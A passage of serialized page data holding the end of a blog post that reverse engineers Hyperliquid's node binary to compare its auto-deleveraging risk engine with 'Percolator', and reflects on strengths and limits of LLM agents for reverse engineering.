anything.",{"type":21,"tag":30,"props":165651,"children":165652},{},[165653,165655,165659],{"type":27,"value":165654},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":21,"tag":1671,"props":165656,"children":165657},{},[165658],{"type":27,"value":20981},{"type":27,"value":165660}," per position, though the tradeoff is that fewer traders get to participate.",{"type":21,"tag":30,"props":165662,"children":165663},{},[165664],{"type":21,"tag":1376,"props":165665,"children":165668},{"alt":165666,"src":165667},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":21,"tag":22,"props":165670,"children":165672},{"id":165671},"some-points-to-be-made",[165673],{"type":27,"value":165674},"Some Points to Be Made",{"type":21,"tag":59,"props":165676,"children":165678},{"id":165677},"percolator-is-indifferent-to-leverage",[165679],{"type":27,"value":165680},"Percolator Is Indifferent to Leverage",{"type":21,"tag":30,"props":165682,"children":165683},{},[165684],{"type":27,"value":165685},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":21,"tag":30,"props":165687,"children":165688},{},[165689],{"type":21,"tag":1376,"props":165690,"children":165693},{"alt":165691,"src":165692},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":21,"tag":59,"props":165695,"children":165697},{"id":165696},"fairness",[165698],{"type":27,"value":161251},{"type":21,"tag":30,"props":165700,"children":165701},{},[165702],{"type":27,"value":165703},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":21,"tag":30,"props":165705,"children":165706},{},[165707],{"type":21,"tag":1376,"props":165708,"children":165711},{"alt":165709,"src":165710},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":21,"tag":30,"props":165713,"children":165714},{},[165715,165717,165722],{"type":27,"value":165716},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":21,"tag":194,"props":165718,"children":165720},{"className":165719},[],[165721],{"type":27,"value":159753},{"type":27,"value":165723}," we start by fully closing the worst position against the best-performing trader.",{"type":21,"tag":22,"props":165725,"children":165727},{"id":165726},"strengths-and-limitations-of-agents-for-reverse-engineering",[165728],{"type":27,"value":165729},"Strengths and Limitations of Agents for Reverse Engineering",{"type":21,"tag":30,"props":165731,"children":165732},{},[165733],{"type":27,"value":165734},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":21,"tag":59,"props":165736,"children":165738},{"id":165737},"hooks",[165739],{"type":27,"value":165740},"Hooks",{"type":21,"tag":30,"props":165742,"children":165743},{},[165744,165746,165750],{"type":27,"value":165745},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":21,"tag":1671,"props":165747,"children":165748},{},[165749],{"type":27,"value":165737},{"type":27,"value":165751},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":21,"tag":30,"props":165753,"children":165754},{},[165755],{"type":27,"value":165756},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":21,"tag":59,"props":165758,"children":165760},{"id":165759},"scale",[165761],{"type":27,"value":165762},"Scale",{"type":21,"tag":30,"props":165764,"children":165765},{},[165766],{"type":27,"value":165767},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":21,"tag":30,"props":165769,"children":165770},{},[165771],{"type":27,"value":165772},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":21,"tag":59,"props":165774,"children":165776},{"id":165775},"whats-next",[165777],{"type":27,"value":165778},"What's next?",{"type":21,"tag":30,"props":165780,"children":165781},{},[165782],{"type":27,"value":165783},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":21,"tag":165454,"props":165785,"children":165786},{"url":159414},[],{"type":21,"tag":30,"props":165788,"children":165789},{},[165790],{"type":27,"value":165791},"The analyzed binary can be found here:",{"type":21,"tag":159734,"props":165793,"children":165796},{"path":165794,"name":159338,"size":165795},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":21,"tag":59,"props":165798,"children":165800},{"id":165799},"closing-words",[165801],{"type":27,"value":165802},"Closing Words",{"type":21,"tag":30,"props":165804,"children":165805},{},[165806],{"type":27,"value":165807},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":21,"tag":30,"props":165809,"children":165810},{},[165811,165813,165818],{"type":27,"value":165812},"Flagship models got us 60% of the way there, but a lot of ",{"type":21,"tag":1671,"props":165814,"children":165815},{},[165816],{"type":27,"value":165817},"manual",{"type":27,"value":165819}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the \"what\".",{"type":21,"tag":30,"props":165821,"children":165822},{},[165823],{"type":27,"value":165824},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":21,"tag":30,"props":165826,"children":165827},{},[165828],{"type":27,"value":165829},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":21,"tag":165831,"props":165832,"children":165833},"report-footnotes",{},[165834],{"type":21,"tag":71,"props":165835,"children":165836},{},[165837,165842,165869,165874,165879],{"type":21,"tag":75,"props":165838,"children":165839},{},[165840],{"type":27,"value":165841},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":21,"tag":75,"props":165843,"children":165844},{},[165845,165851,165853,165859,165861,165867],{"type":21,"tag":194,"props":165846,"children":165848},{"className":165847},[],[165849],{"type":27,"value":165850},"compute_user_margin_and_shortfall",{"type":27,"value":165852}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":21,"tag":194,"props":165854,"children":165856},{"className":165855},[],[165857],{"type":27,"value":165858},"0x748",{"type":27,"value":165860}," in the abstract expressions of ",{"type":21,"tag":194,"props":165862,"children":165864},{"className":165863},[],[165865],{"type":27,"value":165866},"btree_cursor",{"type":27,"value":165868},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":21,"tag":75,"props":165870,"children":165871},{},[165872],{"type":27,"value":165873},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":21,"tag":75,"props":165875,"children":165876},{},[165877],{"type":27,"value":165878},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":21,"tag":75,"props":165880,"children":165881},{},[165882,165884,165890],{"type":27,"value":165883},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: ",{"type":21,"tag":194,"props":165885,"children":165887},{"className":165886},[],[165888],{"type":27,"value":165889},"s3://hl-mainnet-node-data/explorer_blocks",{"type":27,"value":658},{"title":7,"searchDepth":217,"depth":217,"links":165892},[165893,165894,165895,165896,165897,165900,165901,165902,165905,165906,165909,165913],{"id":159284,"depth":217,"text":159287},{"id":159277,"depth":217,"text":159305},{"id":159362,"depth":217,"text":159365},{"id":159643,"depth":217,"text":159646},{"id":159677,"depth":217,"text":159680,"children":165898},[165899],{"id":159816,"depth":236,"text":159819},{"id":160595,"depth":217,"text":160598},{"id":160691,"depth":217,"text":160694},{"id":160909,"depth":217,"text":160912,"children":165903},[165904],{"id":161154,"depth":236,"text":161157},{"id":161214,"depth":217,"text":161217},{"id":165580,"depth":217,"text":165583,"children":165907},[165908],{"id":165612,"depth":236,"text":165615},{"id":165671,"depth":217,"text":165674,"children":165910},[165911,165912],{"id":165677,"depth":236,"text":165680},{"id":165696,"depth":236,"text":161251},{"id":165726,"depth":217,"text":165729,"children":165914},[165915,165916,165917,165918],{"id":165737,"depth":236,"text":165740},{"id":165759,"depth":236,"text":165762},{"id":165775,"depth":236,"text":165778},{"id":165799,"depth":236,"text":165802},"content:blog:2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine",1790954630608]